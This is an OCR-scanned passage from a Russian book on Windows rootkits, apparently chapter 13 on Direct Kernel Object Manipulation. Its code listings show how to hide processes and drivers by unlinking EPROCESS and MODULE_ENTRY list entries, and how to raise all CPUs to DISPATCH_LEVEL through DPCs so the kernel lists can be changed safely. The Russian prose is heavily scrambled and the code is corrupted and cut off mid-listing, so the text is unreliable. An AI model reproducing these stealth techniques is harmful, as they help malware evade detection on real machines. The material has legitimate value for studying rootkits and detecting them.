о в суртк е EPROCESS 16бйавот й сойркт я п в р ые е ш н тсе ц да ь си м в ол в и м ен о дв а пцорасе , пвреы е ш нцтседа ь символ в имен и кырот , т о у н а с буд т дв а пцорсе а с оидновыак м имен . Помтэ , а толь к о ге о PID ндоз чан о и де н т ц ф и р у е т п роц ес м убонде е рьатбо , пмот у чт о операц ион а я сиемст а н аз н чае м пцор асе м н е п о пу кд яро , а случайн ы м образ ом . у смще н и ю в суртк е EPROCESS н аиходст т о т верси и Windows. В ы числ т ь эт о смещ н и а «MyProcess» (ли стн г 13.6).
н ит с и Л
, т о . л с Е и х ои д у н е им я . аЗт о с т PID
и сч и аю т с
г 1 3 . 6 . И Н Е Л С ИЧЫ В
Е И Н Е Щ СЕ М
Я Н ИЕ М
И С ЕС Ц ПРО
я им е мож н
А в Р У КТ СУ Р Т
я п роц ес а о дл
я тщугке
Е EPROCESS
ULONG GetProcessNameOffset() ULONG offset; PEPROCESS pCurProc; pCurProc = PsGetCurrentProcess; for (offset = 0; offset Flink; plistPrev = plist>Blink; // еянмзи м летаз ку и FLINK и BLINK предыущг в plistNext>Blink = plistPrev;
о и гещюуд лс
о
273
RootKits plistPrev>Flink = plistNext; // улетазк и FLINK и BLINK сгомеавырк // устанвлием н а эот т ж е сецорп
о с ецорп
а
с
plist>Blink = (LIST_ENTRY *) & (plist>F'link) ; plist>Flink — (LIST_ENTRY *) & (plist>Flink) ; return STATUS_SUCCESS; }
О б р а ти у ас нт о в и т в ен т у н и и эгот
е в н и ман и ь ау зк е тл ю у р т ск о пцор се
чП о м е у тэ о п рои сх д т л кю ч и т ь ге о и н ов ы м и з н ач ен и мя н е може т м о д и фц и р о в а т но а «н е ви д »т об л аст и п а им т я н ов и в уакз тел
13.5. СИЫТР КО р ыС о к и т п цор в с е мо т э
у ем
е н а п о с л е дн и е ср то к и а од к : ва м н уж н о о б з я а те л ь н и FLINK и BLINK ырксвмеаго о п роц ес а н а ге о ссбо у LIST_ENTRY. Елс и в ы эт о н е селатд , т о пр и зшврае а риуетск е увиетд ь син й эрак н смиерт . ? П о з аверш ен и , з амен и в уа кз е т л . годК а з а в е р ш а ес т ь н ша и уа кз е т л и ; о том , чбот ы н о и п оп реж н м , н а м н уж о п о з а б ит ь с и н а себя .
е драй вео . Вде у н уж н
и п роц ес а с и е тм а до л ж н а ис и FLINK и BLINK ге о едсо я есо д н аш ег о п роц ес а , меист , помт у ч т о н аш ег о пц о р с е у у ак з ы в а л и н а допиустмы я сам и . Эт о м ы и сдела и , уатс
з сп и а к
Е ДРОРЕВЙА
В УТС ЙОРТС в р оу йс т
ь обы чн о срык т
о рикут ь пжерд
о й а а е
В
в ат к ж е вжан о дл т реализ ов н в вид е вгес о сгома о сбяе
я и р куа т е драй ве .
, ак к и ырикост а уройства
е , по
В Windows сущ вет т н ол ь еск о и лт у , вы щ яоди х сп и о к драйвео в н ап ри м е , диспчет р уройст в Windows ил и уитл а drivers.exe, вщ ядоха я в сатсо в Microsoft Resource Kit. Вс е он и з апрш иваю т сп и о к з аг руж ен ы х е л у д ом й ярд а (драйвео) , вы з ва я фнуцки ю ZwQuerySystemlnf ormation с проамет м SYSTEM_INF0RMATI0N_CLASS = 11. В глав е 6 м ы н аучилс ь п ер хв ы ат ь эт у фунцк и ю . Павдр , тдго а на с инерстова л клас с иорман ф ц и и 5, в овет т н а корыт й фунцк и я вы виодл а списо к проц есв . й еч С а Он Э л ем н а т
с м ы пирвог , побдн
о сп и к и эгот
м о тмо у проц есв, о списк
, ка к мжно орг ан и з ов а а явлюя ст
о мицодф рват я суртк
typedef struct _MODULE_ENTRY { LIST_ENTRY module_list_entry; DWORD unknownl[14];
274
ь спиос к дйарвое н в ви д е дв у с з я н о г о а п си к ы M0DULE_ENTRY:
. .
в а Гл
а 13. Техноил г
я DKOM
DWORD base; DWORD driver_start; DWORD unknown2; UNICODE_STRING driver_Path; UNICODE_STRING driver_Name; //. .. } MODULE_ENTRY, *PMODULE_ENTRY;
е ов р П , чт и в счлуа е г е о у р т ск ру т к с ы ру т к с ы ENTRY тщуке г
ин с т Л
о н а м н ужн о сьелатд , — т э о нйат и н ач л о списк с проц есами , ипос к н жу о н ач и т ь с тущек г у MODULE_ENTRY азукы ве т н до о н е у до м к и т р о в а н о DRIVER_OBJECT, псарлжоне е п о мс ще н и DRIVER_OBJECT. о К д ун цфк и , воз ращ ю щ е о драйве , пиервд н в листн г е 13.8.
г 1 3 . 8 . ИНЧЕ У ЛОП
Е Л Е Т А З УА К
Я Н А Щ ТУИ КЕ
Й ЭН Е М Л
Т К СС И П
а драй вео о рд а й в е
. аК к . Н а е пло е а ю 0x14 о т н чал й ре ад с MODULE_
А О Р Е В Й ДРА
В
DWORD GetCurModuleEntry (IN PDRIVER_OBJECT pDriver) { PMODULE_ENTRY current; if (pDriver == NULL) return 0; current = *((PMODULE_ENTRY*)((DWORD)Driver + 0x14)); if (current == NULL) return 0; // зеавысип м ын ечулоп й ерда с в гуньлабо ю пер м н у ю х яицкнуф // тпи а PMODULE_ENTRY, аротк я стибодан п я в други
х
LoadedModuleList = current; return current;
Сур т к а DRIVER_OBJECT содерж и LIST_ENTRY, аузк етл и и з корт й п оз ю в л я ю л об м н ап рав лен и . аК к тол ь к о м ы (н априме , п о имен и driver_Name), м а к к м ы дела и эт о с пцормасе и (ли стн н и тс Л
г 1 3 . 9 . ИЫТР КОС
Е Р Е В Й А ДР
А П О ИН Е М
т уж
е и з в естн у ю н а м с тр у к у т п ер м щ ь ат с я п о сп и к у в н ай де м н уж н ы й эл е м н т сп и ск а ы сжмое м тс о срык т ь точ н о та к же , г 13.9).
И
HideModuleByName( IN PUNICODE_STRING pNameToHide)
( PMODULE_ENTRY c u r r e n t = L o a d e d M o d u l e L i s t ; w h i l e ((PMODULE_ENTRY)current>le.mod.Flink != L o a d e d M o d u l e L i s t )
( 275
RootKits if ((current>unknownl 1=0x00000000) && (current>driver_Path.Length != 0) { if RtlCompareUnicodeString(pNameToHide, &(current)>driver_Name), FALSE) == 0) {
*((PWORD)current>le_mod.Blink) = (DWORD)current>le_mod.Flink; c u r r e n t > l e _ m o d . F l i n k > B l i n k = c u r r e n t > l e _ m o d . B l i n k ; break;
DRIVER OBJECT p modEntry
MODULE_ENTRY «—
MODULE_ENTRY
LIST_EHTRY FLINK
MODULE_ENTRY
LIST_EHTRY 1
"
BLINK
LISTJ3HTRX 1
FLINK BLINK
с.Ри
13.5. сокиСп
FLINK BLINK
еровай д
П ом н и е т , пр и миодакцф и сп и к а пцор с е в м ы м о ди ц ф р о в а л ж е и бло к EPROCESS цапосре , ыротк й н жу о бы л о ср кы ьт сп и о к м драй вео в в эот м не т нитдбсомхе , пмот у чт о драй ве з аг руж ю с т я и вы гружаю ст я н е та к чотса , ка к пцорысе . Обы ч н з аг руж ю с т я пр и з агруз к е смеитс ы и вы гжурюа ст я пр и з аверш ен и с сиемойст . В пцорсе е ртбоа ы смеитс а ркде о вы гружае т драй веы
? В слчуа ы оыб чн о дйарве и т об а р .
В ы ш е п р и в нд ы LEVEL), эогт
е (PASSIVE_ .
о тюбуер
й о к д е д бу т фунцк и
13.6. ПМЕЛБОР Ы ИЦА ЗИНОРХ С «Паклгуор » п о спикс у пцосре Д ел о в тмо , чт о рикут т мжое ге о п р е б ы в а н и я а т м м го у з ав ерш н ы уж е вы полнюя щ и еся 276
т т а б ор и дл
я ртоба
в ннмаго т бы т ь вы жгуре т бы т ь соз ан д .
ь н а п ас и в н о м уров н ы с UNICODEстроакми
И о онсепа н в област ы д о п л н и ет л ь н ы
, че м п о спикс ь пачокди
и ка т е с о о ы ы
у дйарвое . , а з а вмер я е п роц ес ы ил и
в а Гл
а 13. Техноил г
я DKOM
Ка к п р а в и л о , п р о г р а м а б л о ки р у е т д о с ту п к с о в м е с тн о и споль з уемом у ре сурс у с п омощ ь ю с е м а оф р а и л и м ь ю те кс а (mutuallyexclusiveaccess flag) т сво р а з н о в и д н о с т и с е м а оф р а с д в у м я с о с т о ян и ям и : у с т а н о в л е н (1, о б ъ е к б оден ) и л и с б р о ш е н (0, о б ъ е к т з а н ят ) . Д л я у п р а в л е н и я до с ту п о м к сп и ск у п роц ес о в и с п и с к у м одул е й служ а т с е м а оф р ы P s p A c t i v e P r o c e s s M u t e x и P s L o a d e d M o d u l e R e s o u r c e с о тв е тс в е н о . Э т и с е м а фо р ы н е экс п о р ти р у ю тс я яд р о м , п о э то м у в а м п р и д е тс я н ай т и и х с а м о с т о ят е л ь н о . М о ж н о п ой т и «в л о б » п р о с к а н и р о в а т ь п а м ят ь в п ои ск е з ад н ог о образ ц а . Э т о т сп ос б п рост , н о и м е т с у щ е с тв е н ы й н е д о с та о к : с ко л ь к о верси й Windows, с то л ь к о и образ ц ов . М ы п ой де м друг и м п у те м : п е р в е д м вс е п роц ес ор ы с и с те м п реры ван и й DISPATCH_LEVEL. Н а это м у р о в н е м о д и фи к а ц и я ц ессо в и драйверо в безопасн а . У ч т и т е толь ко , ч т о DISPATCH_LEVEL н е л ь з я р а б о та ь с вы груж ен о й п а м ят ь ю ращ ен и я к н е й п р и в е д т к п о яв л е н и ю си н ег о экр а н а с м е р ти . Механ и з м , к о т р ы й м ы соби раемс я р а с м о тр е ть , н а з ы в а е т с вы з ов м п роц еду р (DPC, Deferred Procedure Call). Д р а й в е р это т м е х а н и з м , ко г д а п олуч ен о е п реры ван и е тр е б у е т слож н о ко т р у ю н е эко н о м и ч н о в ы п о л н ят ь н а боле е вы сок м уровн е п ри в оди т к о б р а тн о м у вы з ов у оп ред лен о й фу н к ц и и драй в ера б у де т в ы п о л н ят ь с я н а уровн е DISPATCH_LEVEL. Э т о у м е н ь ш а е держ к и преры ван и я д л я о с та л ь н ы х у с тр о й с т в в с и с те м .
ы н а уровен ь с п и с ко в п ро н а уровн е : п о п ы т к а об
я о тл о ж е н ы ы и сп оль з ую й о б р а б о тки . З а п р о
м т , с D P C , к о т р а я т врем я за
Вызо в D P C о п и с ы в а е т с я о б ъ е кто м DPC (о п р е д л е н в n t d d k . h). Д л я и н и ц и али з ац и и о б ъ е кт а DPC с л у ж и т фу н к ц и я K e l n i t i a l i z e D p c , ко т р о н уж н о п ер дат ь у ка з а те л ь н а фу н к ц и ю , п о д л е ж а щ у ю о тл о ж е н о м у в ы з ов у У н а с эт о б уде т фу н к ц и я RaiseCPU, у в е л и ч и в а ю щ а я с ч е тч и к п роц ес ор в п ер вед н ы х н а у р о в е н ь DISPATCH_LEVEL.
й . ,
Ин и ц и али з и рован н ы й объ ек т D P C н у ж н о п о с та в и т ь в оч ер дь . К а ж д о м у п роц ес ор у с о тв е тс в у е т о дн а оч ер д ь DPC. Е с л и н е н аз н ач ат ь о б ъ е кт у DPC п р о ц е с о р а , н а ко т р о м б у де т в ы п о л н ят ь с я е г о callbackфу н к ц и я , с п о мощ ь ю фу н к ц и и K e S e t T a r g e t P r o c e s s o r D P C , т о о н б у д е т п о с та в л е н в о ч е ред ь т е к у щ е г о п роц ес ора . Н о м е р те ку щ е г о п роц ес ор а мож н о п о л у ч и ть , вы з ва в фу н к ц и ю K e C u r r e n t P r o c e s s o r N u m b e r , а к о л и ч е с т в о п роц ес оро в в с и с те м е с о де р ж и тс я в п е р м е н о й яд р а K e N u m b e r P r o c e s s o r s . О с та л о с ь с ка з а т ь то л ь ко , ч т о д л я п о л у ч е н и я те ку щ е г о з н ач ен и я уровн п ре ы в ан и й служ и т с и те м н ы й вы з о в K e G e t C u r r e n t l r q l , а д л я у с та н о в к н ов г о з н ач ен и я K e R a i s e l r q l . Т е п р ь мож н о р а с м о тр е т ь фу н к ц и RaiseAllCPU, п е р е в о д ящ у ю вс е п роц ес ор ы н а уровен ь преры ван и DISPATCH_LEVEL Н И Т (ЛИС Г 13.10).
я и ю й
277
RootKits н ит с Л
г 1 3 . 1 0 . ОВ ЕР П
Д М СЕ Т С И
Ы Н А Н Е В УРО
Ь DISPATCH_LEVEL
PKDPC RaiseAllCPU () f NTSTATUS s; ULONG curCPU; CCHAR a; PKDPC dpc, t_dpc; if (KeGetCurrentlrql() ! = DISPATCH_LEVEL) return NULL; // иницалзруе м ыньлабо г е ын ем р п е имялун . // AllCPUDispatch = 1, елс и вс е просец ы нед в р п ы ь DISPATCH; // н а уневор // NumCPUDispatch квтсечило о вор с ец п , уж е работющи х // н а унвор е DISPATCH InterlockedAnd(SAllCPUDispatch,0); InterlockedAnd(SNumCPUDispatch,0); t_pdc = (PKDPC)ExAllocatePool(NonPagedPool, KeNumberProcessors * sizeof(KDPC); if (t_dpc == NULL) return NULL;//STASUS_INSUFFICIENT_RESOURCES curCPU = KeGetCurrentProcessorNumber(); dpc = t_dpc; for (a = 0; a